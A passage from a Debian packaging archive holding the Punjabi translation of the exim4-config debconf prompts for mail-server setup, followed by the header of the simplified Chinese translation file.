ਜਾਂ ਲੋਕਲ ਡਿਲਵਰੀ ਹੀ ਲੈ ਸਕਦਾ ਹੈ, ਨੂੰ ਪੂਰੀ " "ਤਰਾਂ ਆਯੋਗ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ (root ਅਤੇ ਪੋਸਟ ਮਾਸਟਰ ਦੇ ਪੱਤਰਾਂ ਬਿਨਾਂ)।" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "ਕੀ ਮੇਲ ਸਿਸਟਮ ਅਣ-ਸੰਰਚਿਤ ਹੀ ਰੱਖਣਾ ਹੈ?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "ਜਦੋਂ ਤੱਕ ਤੁਹਾਡਾ ਮੇਲ ਸਿਸਟਮ ਸੰਰਚਿਤ ਨਹੀਂ ਹੁੰਦਾ ਹੈ, ਇਹ ਬੇਕਾਰ ਹੀ ਰਹੇਗਾ ਅਤੇ ਵਰਤਿਆ ਨਹੀਂ ਜਾ ਸਕੇਗਾ। " "ਤੁਸੀਂ ਸੰਰਚਨਾ ਨੂੰ ਬਾਅਦ ਵਿੱਚ ਦਸਤੀ ਜਾਂ root ਦੇ ਤੌਰ ਉੱਤੇ 'dpkg-reconfigure exim4-config'ਲਾ " "ਕੇ ਸੰਰਚਿਤ ਕਰ ਸਕਦੇ ਹੋ।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "ਸਿਸਟਮ ਮੇਲ ਨਾਂ:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'mail name' ਡੋਮੇਨ ਨਾਂ ਹੁੰਦਾ ਹੈ, ਜੋ ਕਿ ਡੋਮੇਨ ਨਾਂ ਦੇ ਬਿਨਾਂ ਪੱਤਰ ਸਿਰਨਾਵੇਂ ਲਈ 'qualify' ਵਾਸਤੇ " "ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "ਇਹ ਨਾਂ ਹੋਰ ਪਰੋਗਰਾਮਾਂ ਵਲੋਂ ਵੀ ਵਰਤਿਆ ਜਾਵੇਗਾ, ਇਹ ਇੱਕਲਾ, ਪੂਰਾ ਡੋਮੇਨ ਨਾਂ (FQDN) ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "ਇਸਕਰਕੇ ਜੇ ਲੋਕਲ ਹੋਸਟ foo@domain.example ਹੈ ਤਾਂ ਇਹ ਚੋਣ ਲਈ ਸਹੀਂ ਮੁੱਲ example ਹੈ।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "ਇਹ ਨਾਂ ਬਾਹਰ ਭੇਜਣ ਜਾਣ ਵਾਲੇ ਪੱਤਰਾਂ ਵਿੱਚ ਵਲੋਂ: ਖੇਤਰ 'ਚ ਨਹੀਂ ਵੇਖਾਈ ਦੇਵੇਗਾ, ਜਦੋਂ ਤੱਕ ਤੁਸੀਂ ਮੁੜ-ਲਿਖਣ " "ਨੂੰ ਯੋਗ ਕੀਤਾ ਤਾਂ।" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "ਹੋਰ ਟਿਕਾਣੇ, ਜਿਨ੍ਹਾਂ ਲਈ ਪੱਤਰ ਸਵੀਕਾਰ ਕੀਤੇ ਜਾ ਸਕਦੇ ਹਨ:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "ਕਿਰਪਾ ਕਰਕੇ ਡੋਮੇਨਾਂ ਦੀ ਸੂਚੀ ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ ਦਿਓ, ਜਿਸ ਲਈ ਇਹ ਮਸ਼ੀਨ ਖੁਦ ਨੂੰ ਅੰਤਮ ਟਿਕਾਣਾ " "ਚੁਣੇ। ਇਹਨਾਂ ਡੋਮੇਨਾਂ ਨੂੰ 'local domains' ਕਹਿੰਦੇ ਹਨ।ਲੋਕਲ ਹੋਸਟ ਨਾਂ (${fqdn}) ਅਤੇ 'localhost' " "ਇੱਥੇ ਦਿੱਤੀ ਲਿਸਟ ਵਿੱਚ ਹਮੇਸ਼ਾਂ ਜੋੜੇ ਜਾਂਦੇ ਹਨ।" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "ਮੂਲ ਰੂਪ ਵਿੱਚ ਸਭ ਡੋਮੇਨਾਂ ਨੂੰ ਇੱਕ ਵਾਂਗ ਹੀ ਮੰਨਿਆ ਜਾਂਦਾ ਹੈ। ਜੇ a.example ਅਤੇ b.example ਲੋਕਕਲ " "ਡੋਮੇਨਾਂ ਹਨ ਤਾਂ acc@a.example and acc@b.example ਨੂੰ ਇੱਕੋ ਥਾਂ ਭੇਜਿਆ ਜਾਵੇਗਾ। ਜੇਕਰ ਤੁਸੀਂ ਵੱਖਰੀਆਂ " "ਡੋਮੇਨਾਂ ਨੂੰ ਵੱਖਰੇ ਢੰਗ ਨਾਲ ਮੰਨਣਾ ਚਾਹੁੰਦੇ ਹੋ ਤਾਂ ਤੁਸੀਂ ਬਾਅਦ ਵਿੱਚ ਸੰਰਚਨਾ ਫਾਇਲਾਂ ਵਿੱਚ ਸੋਧ ਸਕਦੇ ਹੋ।" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "ਇਸ ਲਈ ਰੀਲੇਅ ਪੱਤਰ ਕਰਨ ਲਈ ਡੋਮੇਨ:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "ਪ੍ਰਾਪਤੀ ਡੋਮੇਨਾਂ ਦੀ ਅਰਧ-ਵਿਰਾਮ ਨਾਲ ਵੱਖ ਕੀਤੀ ਸੂਚੀ ਦਿਓ, ਜਿਸ ਲਈ ਇਹ ਸਿਸਟਮ ਮੇਲ ਰੀਲੇਅ ਕਰੇਗਾ, " "ਜਿਵੇਂ ਕਿ ਫਾਲਬੈਕ MX ਜਾਂ ਮੇਲ ਗੇਟਵੇ। ਇਸ ਦਾ ਮਤਲਬ ਹੈ ਕਿ ਇਹ ਸਿਸਟਮ ਇਹਨਾਂ ਡੋਮੇਨਾਂ ਲਈ ਇੰਟਰਨੈੱਟ ਤੋਂ ਕਿਤੋਂ " "ਵੀ ਮੇਲ ਲਵੇਗਾ ਅਤੇ ਲੋਕਲ ਡਿਲਵਰੀ ਨਿਯਮਾਂ ਮੁਤਾਬਕ ਡਿਲਵਰ ਕਰੇਗਾ।" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "ਲੋਕਲ ਡੋਮੇਨ ਇੱਥੇ ਨਾ ਦਿਓ, ਵਾਲਿਡ ਕਾਰਡ ਵਰਤੇ ਜਾ ਸਕਦੇ ਹਨ।" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "ਇਸ ਲਈ ਰੀਲੇਅ ਪੱਤਰ ਲਈ ਮਸ਼ੀਨਾਂ:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "IP ਸਿਰਨਾਵਿਆਂ ਦੀ ਸੀਮਾ ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ ਦਿਓ, ਜਿਸ ਲਈ ਸਿਸਟਮ ਬਿਨ-ਸ਼ਰਤ ਰੀਲੇਅ ਮੇਲ " "(smarthost ਵਾਂਗ) ਕੰਮ ਕਰੇਗਾ।" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "ਜੇਕਰ ਕੋਈ ਵੀ ਹੈ ਤਾਂ ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ ਇੱਥੇ ਦਿਓ। ਤੁਹਾਨੂੰ ਇੱਕ ਮਿਆਰੀ ਸਿਰਨਾਵਾਂ/ਲੰਬਾਈ ਫਾਰਮੈਟ " "ਵਰਤਣਾ ਪਵੇਗਾ (ਜਿਵੇਂ ਕਿ 192.222.242.0/24 ਜਾਂ 5f03:1200:836f::/48)।" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "ਜੇ ਇਹ ਸਿਸਟਮ ਕਿਸੇ ਹੋਰ ਸਿਸਟਮ ਲਈ smarthost ਨਹੀਂ ਹੋਵੇਗਾ ਤਾਂ ਇਹ ਸੂਚੀ ਖਾਲੀ ਰਹਿਣ ਦਿਓ।" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "ਲੋਕਲ ਉਪਭੋਗੀਆਂ ਲਈ ਉਪਲੱਬਧ ਡੋਮੇਨ ਨਾਂ:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "ਬਾਹਰੀ ਮੇਲ ਵਿੱਚ ਲੋਕਲ ਮੇਲ ਨਾਂ ਓਹਲੇ ਕਰਨ ਲਈ ਚੋਣ ਯੋਗ ਹੈ। ਇਸ ਕਰਕੇ ਇਹ ਵਲੋਂ ਲੋਕਲ ਯੂਜ਼ਰ ਦੇ ਭੇਜਣ ਵਾਲੇ " "ਸਿਰਨਾਵੇਂ ਦੇ ਡੋਮੇਨ ਭਾਗ ਵਜੋਂ ਵਰਤਣ ਲਈ ਡੋਮੇਨ ਨਾਂ ਦੇਣਾ ਲਾਜ਼ਮੀ ਹੈ।" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "ਬਾਹਰੀ smarthost ਦਾ IP ਸਿਰਨਾਵਾਂ ਜਾਂ ਹੋਸਟ ਨਾਂ ਦਿਓ:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "ਮੇਲ ਸਰਵਰ ਲਈ IP ਸਿਰਨਾਵਾਂ ਦਿਓ ਜਾਂ ਹੋਸਟ ਨਾਂ ਦਿਓ, ਜਿਸ ਲਈ ਇਹ ਸਿਸਟਮ ਬਾਹਰੀ smarthost ਵਾਂਗ " "ਵਰਤਿਆ ਜਾਵੇਗਾ। ਜੇ smarthost ਤੁਹਾਡੇ ਮੇਲ TCP/25 ਪੋਰਟ ਤੋਂ ਬਿਨਾਂ ਹੋਰ ਉੱਤੇ ਸਵੀਕਾਰ ਕਰੇ ਤਾਂ ਦੋ ਕਾਲਨ " "ਅਤੇ ਪੋਰਟ ਨੰਬਰ ਜੋੜ ਦਿਓ (ਜਿਵੇਂ ਕਿ smarthost.example::587 ਜਾਂ 192.168.254.254::2525) " "IPv6 ਸਿਰਨਾਵੇਂ ਲਈ ਦੋ ਕਾਲਨਾਂ ਦੀ ਲੋੜ ਹੈ।" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "smarthost ਲਈ ਲੋੜੀਦੀ ਪਰਮਾਣਿਕਤਾ ਲਈ SMTP ਪਰਮਾਣਕਿਤਾ ਬਾਰੇ ਜਾਣਕਾਰੀ ਲਈ /usr/share/doc/" "exim4-base ਵਿੱਚ ਮੌਜੂਦ ਡੇਬੀਅਨ ਖਾਸ README ਫਾਇਲਾਂ ਨੂੰ ਵੇਖੋ।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "ਰੂਟ (Root) ਅਤੇ ਪੋਸਟਮਾਸਟਰ ਮੇਲ ਸਨੇਹੀ:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "'postmaster', 'root', ਅਤੇ ਹੋਰ ਸਿਸਟਮ ਖਾਤਿਆਂ ਲਈ ਪੱਤਰਾਂ ਨੂੰ ਅਸਲ ਸਿਸਟਮ ਪਰਸ਼ਾਸ਼ਕ ਦੇ ਉਪਭੋਗੀ " "ਖਾਤੇ ਵੱਲ ਭੇਜਣਾ ਪਵੇਗਾ।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "ਜੇਕਰ ਤੁਸੀਂ ਇਹ ਮੁੱਲ ਖਾਲੀ ਛੱਡ ਦਿੱਤਾ ਤਾਂ, ਇਹਨਾਂ ਪੱਤਰਾਂ ਨੂੰ /var/mail/mail ਵਿੱਚ ਸੰਭਾਲਿਆ ਜਾਵੇਗਾ, " "ਜਿਸ ਦੀ ਸਿਫ਼ਾਰਸ਼ ਨਹੀਂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "postmaster, root, ਅਤੇ ਹੋਰ ਸਿਸਟਮ ਖਾਤੇ ਅਕਸਰ ਅਸਲ ਸਿਸਟਮ ਖਾਤਿਆਂ ਲਈ ਉਪਭੋਗੀ ਖਾਤਿਆਂ ਲਈ " "ਦਿਸ਼ਾ ਪਰਿਵਰਤਨ ਕਰਦੇ ਹਨ। ਯਾਦ ਰੱਖੋ ਕਿ ਪੋਸਟਮਾਸਟਰ ਦਾ ਪੱਤਰ ਉਸ ਸਿਸਟਮ ਉੱਤੇ ਪੜ੍ਹਿਆ ਜਾਣਾ ਚਾਹੀਦਾ " "ਹੈ, ਨਾ ਕਿ ਕਿਤੇ ਹੋਰ ਅੱਗੇ ਭੇਜਣਾ ਚਾਹੀਦਾ ਹੈ ਤਾਂ ਕਿ (ਘੱਟੋ-ਘੱਟ) ਉਪਭੋਗੀ ਆਪਣੀ ਮਸ਼ੀਨ ਤੋਂ ਪੱਤਰ ਬਾਹਰ ਨਾ " "ਭੇਜ ਸਕਣ। ਲੋਕਲ ਡਿਲਵਰੀ ਲਈ 'real-' ਅਗੇਤਰ ਦੀ ਵਰਤੋਂ ਕਰੋ।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "ਖਾਲੀ ਥਾਂ ਛੱਡ ਕੇ ਇੱਕ ਤੋਂ ਵੱਧ ਉਪਭੋਗੀ ਨਾਂ ਦਿੱਤੇ ਜਾ ਸਕਦੇ ਹਨ।" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "ਆਉਣ ਵਾਲੇ SMTP ਕੁਨੈਕਸ਼ਨਾਂ ਨੂੰ ਸੁਨਣ ਲਈ IP-ਸਿਰਨਾਵਾਂ:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ IP ਸਿਰਨਾਵੇਂ ਦਿਓ ਜੀ। Exim SMTP ਡੈਮਨ ਸਭ IP ਸਿਰਨਾਵਿਆਂ ਤੋਂ ਸੁਣੇਗਾ।" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "ਜੇਕਰ ਤੁਸੀਂ ਇਹ ਮੁੱਲ ਖਾਲੀ ਛੱਡਿਆ ਤਾਂ, Exim ਸਭ ਉਪਲੱਬਧ ਨੈੱਟਵਰਕ ਇੰਟਰਫੇਸਾਂ ਕੁਨੈਕਸ਼ਨਾਂ ਲਈ ਸੁਣੇਗਾ।" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "ਜੇਕਰ ਇਹ ਸਿਸਟਮ ਲੋਕਲ ਸੇਰਵਿਸਾਂ ਰਾਹੀਂ ਹੀ ਮੇਲ ਸਿੱਧੀ ਲੈਂਦਾ ਹੈ (ਅਤੇ ਹੋਰ ਹੋਸਟਾਂ ਤੋਂ ਨਹੀਂ), ਤਾਂ ਲੋਕਲ " "Exim ਡੈਮਨ ਨਾਲ ਬਾਹਰੀ ਕੁਨੈਕਸ਼ਨਾਂ ਉੱਤੇ ਪਾਬੰਦੀ ਲਗਾ ਸਕਦੇ ਹੋ। ਇਨ੍ਹਾਂ ਸਰਵਿਸਾਂ ਵਿੱਚ ਈਮੇਲ ਪਰੋਗਰਾਮ " "(MUA) ਸ਼ਾਮਲ ਹਨ, ਜੋ ਕਿ ਲੋਕਲ-ਹੋਸਟ ਦੇ ਨਾਲ ਨਾਲ fetchmail ਨਾਲ ਸੰਪਰਕ ਕਰਦੇ ਹਨ। ਬਾਹਰੀ ਕੁਨਕੈਸ਼ਨ " "ਅਸੰਭਵ ਹੋ ਜਾਂਦੇ ਹਨ, ਜਦੋਂ 127.0.0.1 ਇੱਥੇ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ, ਕਿਉਂਕਿ ਇਹ ਪਬਲਿਕ ਨੈੱਟਵਰਕ ਇੰਟਰਫੇਸਾਂ ਤੋਂ " "ਸੁਣਨ ਨੂੰ ਆਯੋਗ ਕਰ ਦਿੰਦੇ ਹਨ।" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "ਕੀ DNS-ਕਿਊਰੀ ਦੀ ਗਿਣਤੀ ਘੱਟੋ-ਘੱਟ ਰੱਖਣੀ ਹੈ (ਡਾਇਲ-ਆਨ-ਡਿਮਾਂਡ)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Exim ਦੇ ਸਧਾਰਨ ਕੰਮ ਕਰਨ ਦੌਰਾਨ ਸ਼ੁਰੂ ਵੇਲੇ DNS-ਖੋਜ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਤਾਂ ਕਿ ਸੰਰਚਨਾ ਫਾਇਲ ਵਿੱਚ ਮੁੱਢਲੇ " "ਮੁੱਲਾਂ ਦੀ ਗਿਣਤੀ ਨੂੰ ਅਤੇ ਲਾਗ-ਇਨ ਕਰਨ ਲਈ ਸੰਭਾਲਿਆ ਜਾ ਸਕੇ, ਜਦੋਂ ਕਿ ਪੱਤਰ ਸੁਨੇਹੇ ਭੇਜੇ ਜਾਂ ਪ੍ਰਾਪਤ ਕੀਤੇ " "ਜਾਂਦੇ ਹਨ। ਇਹ ਲਾਗ ਰੱਖਣ ਵਾਸਤੇ ਹੈ ਅਤੇ ਸੰਰਚਨਾ ਵਿੱਚ ਪੱਕੇ ਮੁੱਲ ਰੱਖਣ ਦੀ ਗਿਣਤੀ ਕਰਨ ਲਈ ਹੈ।" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "ਜੇਕਰ ਇਹ ਸਿਸਟਮ ਲਈ ਇੱਕ ਪੂਰਾ DNS ਸੇਵਾ ਉਪਲੱਬਧ ਨਹੀਂ ਹੈ (ਉਦਾਹਰਨ ਲਈ ਜੇਕਰ ਇੰਟਰਨੈੱਟ ਡਾਇਲਅੱਪ ਤਾਰ ਹੈ " "ਤਾਂ) ਇਹ ਬੇਲੋੜੀਦਾ ਕ੍ਰਮ ਹੋਵੇਗਾ। ਜੇਕਰ ਡਾਇਲ-ਆਨ-ਡਿਮਾਂਡ ਦੀ ਵਰਤੋਂ ਕਰਨ ਲਈ ਇੱਕ ਹੋਸਟ ਬਿਨਾਂ ਸਥਿਰ DNS-" "ਨੇਮਸਰਵਰ-ਅਸੈੱਸ ਦੇ ਹੈ ਤਾਂ ਇਹ ਬੇਲੋੜੀਦਾ ਕ੍ਰਮ ਹੋ ਸਕਦਾ ਹੈ, ਜਦੋਂ ਕਿ exim ਸ਼ੁਰੂ ਹੋਵੇ ਜਾਂ ਕਤਾਰ ਚੱਲ ਰਹੀ " "ਹੋਵੇ (ਸੁਨੇਹੇ ਦੀ ਉਡੀਕੇ ਕਿਤੇ ਬਿਨਾਂ) ਤਾਂ ਇਹ ਬੇਲੋੜੀਦਾ ਡਾਇਲ-ਅੱਪ-ਈਵੈਂਟ ਸ਼ੁਰੂ ਕਰ ਸਕਦਾ ਹੈ।" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "ਇਹ ਚੋਣ ਕਰਨੀ ਚਾਹੀਦੀ ਹੈ, ਜੇਕਰ ਇਹ ਸਿਸਟਮ ਡਾਇਲ-ਆਨ-ਡਿਮਾਂਡ ਵਰਤਦਾ ਹੈ। ਜੇਕਰ ਹਮੇਸ਼ਾ ਹੀ ਇੰਟਰਨੈੱਟ " "ਉਪਲੱਬਧ ਰਹਿੰਦਾ ਹੈ ਤਾਂ ਇਹ ਚੋਣ ਆਯੋਗ ਹੋਵੇਗੀ।" #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "ਮੇਲ ਸਰਵਰ ਸੰਰਚਨਾ" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "ਕੀ ਸੰਰਚਨਾ ਨੂੰ ਛੋਟੀਆਂ ਫਾਇਲਾਂ ਵਿੱਚ ਵੰਡਣਾ ਹੈ?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "ਡੇਬੀਅਨ exim4 ਪੈਕੇਜ 'unsplit configuration' ਢੰਗ, ਇੱਕ ਇੱਕਲੀ ਫਾਇਲ (/etc/exim4/exim4." "conf.template) ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦਾ ਹੈ ਜਾਂ 'split configuration', ਅੰਤਰਿਮ ਸੰਰਚਨਾ ਫਾਇਲ " "ਬਣਾਉਣ ਲਈ /etc/exim4/conf.d/ ਵਿੱਚ 50 ਤੋਂ ਵੱਧ ਫਾਇਲਾਂ ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦਾ ਹੈ।" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "ਵੱਧ ਸੋਧਾਂ ਕਰਨ ਲਈ ਪਹਿਲਾਂ ਢੰਗ ਠੀਕ ਹੈ ਅਤੇ ਆਮ ਕਰਕੇ ਵੱਧ ਸਥਿਰ ਵੀ, ਜਦੋਂ ਕਿ ਬਾਅਦ ਵਾਂਗ ਥੋੜ੍ਹੀਆਂ ਸੋਧਾਂ " "ਕਰਨ ਲਈ ਵਧੀਆ ਹੈ, ਪਰ ਵੱਧ ਖਤਰਨਾਕ ਹੈ, ਜੇਕਰ ਵੱਧ ਸੋਧਾਂ ਕੀਤੀਆਂ ਜਾਣ ਤਾਂ ਇਹ ਖਰਾਬ ਵੀ ਹੋ ਸਕਦਾ ਹੈ।" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "split ਅਤੇ unsplit ਸੰਰਚਨਾ ਬਾਰੇ ਹੋਰ ਜਾਣਕਰੀ /usr/share/doc/exim4-base ਵਿੱਚ ਖਾਸ ਡੇਬੀਅਨ " "README ਫਾਇਲਾਂ ਵਿੱਚ ਹੈ।" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "ਕੀ ਬਾਹਰੀ ਭੇਜਣ ਮੇਲ ਵਿੱਚ ਲੋਕਲ ਮੇਲ ਨਾਂ ਓਹਲੇ ਰੱਖਣਾ ਹੈ?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "ਇੱਕ ਵੱਖਰੇ ਸਿਸਟਮ ਤੋਂ ਤਿਆਰ ਹੁੰਦਾ ਵੇਖਾਉਣ ਲਈ ਤੁਸੀਂ ਬਾਹਰ ਜਾਣ ਵਾਲੇ ਪੱਤਰ ਦਾ ਸਿਰਲੇਖ ਮੁੜ ਲਿਖ ਸਕਦੇ ਹੋ, " "ਜਿੱਥੇ ਕਿ ਫਾਰਮ ਵਿੱਚ '${mailname}', 'localhost' ਅਤੇ '${dc_other_hostnames}' ਜਵਾਬ, " "ਭੇਜਣ ਵਾਲਾ ਅਤੇ ਵਾਪਸੀ ਮਾਰਗ ਹਨ।" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "/var/mail/ ਵਿੱਚ mbox ਫਾਰਮੈਟ" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "ਘਰ ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ Maildir ਫਾਰਮੈਟ" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "ਲੋਕਲ ਮੇਲ ਲਈ ਭੇਜਣ ਢੰਗ:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim ਲੋਕਲ ਡਿਲਵਰ ਕੀਤੀਆਂ ਈ-ਮੇਲਾਂ ਨੂੰ ਵੱਖ ਵੱਖ ਫਾਰਮੈਟ 'ਚ ਸੰਭਾਲਣ ਯੋਗ ਹੈ। ਸਭ ਤੋਂ ਆਮ ਹਨ mbox ਅਤੇ " "Maildir। mbox /var/mail/ ਮੇਲ ਫੋਲਡਰ 'ਚ ਸੰਭਾਲੇ ਸਭ ਲਈ ਇੱਕ ਇੱਕਲੀ ਫਾਇਲ ਵਰਤਦੀ ਹੈ। Maildir " "ਫਾਰਮੈਟ ਇੱਕ ਇੱਕਲੇ ਸੁਨੇਹੇ ਲਈ ~/Maildir/ ਵਿੱਚ ਇੱਕ ਵੱਖਰੀ ਫਾਇਲ ਸੰਭਾਲਦੀ ਹੈ।" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "ਯਾਦ ਰੱਖ ਕਿ ਡੇਬੀਅਨ 'ਚ ਆਮ ਮੇਲ ਸੰਦ, ਲੋਕਲ ਡਿਲਵੀ ਢੰਗ ਤੋਂ ਬਿਨਾਂ, ਲਈ mbox ਮੂਲ ਰੂਪ ਵਿੱਚ ਹੁੰਦਾ ਹੈ।" debian/po/zh_CN.po0000644000000000000000000005636212027557533011172 0ustar # debconf templates for exim4 package, simplified Chinese translation. # # Copyrights: Carlos Z.F. Liu , 2004. # Ming Hua , 2006,2007. # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4 4.67-1+SVN\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 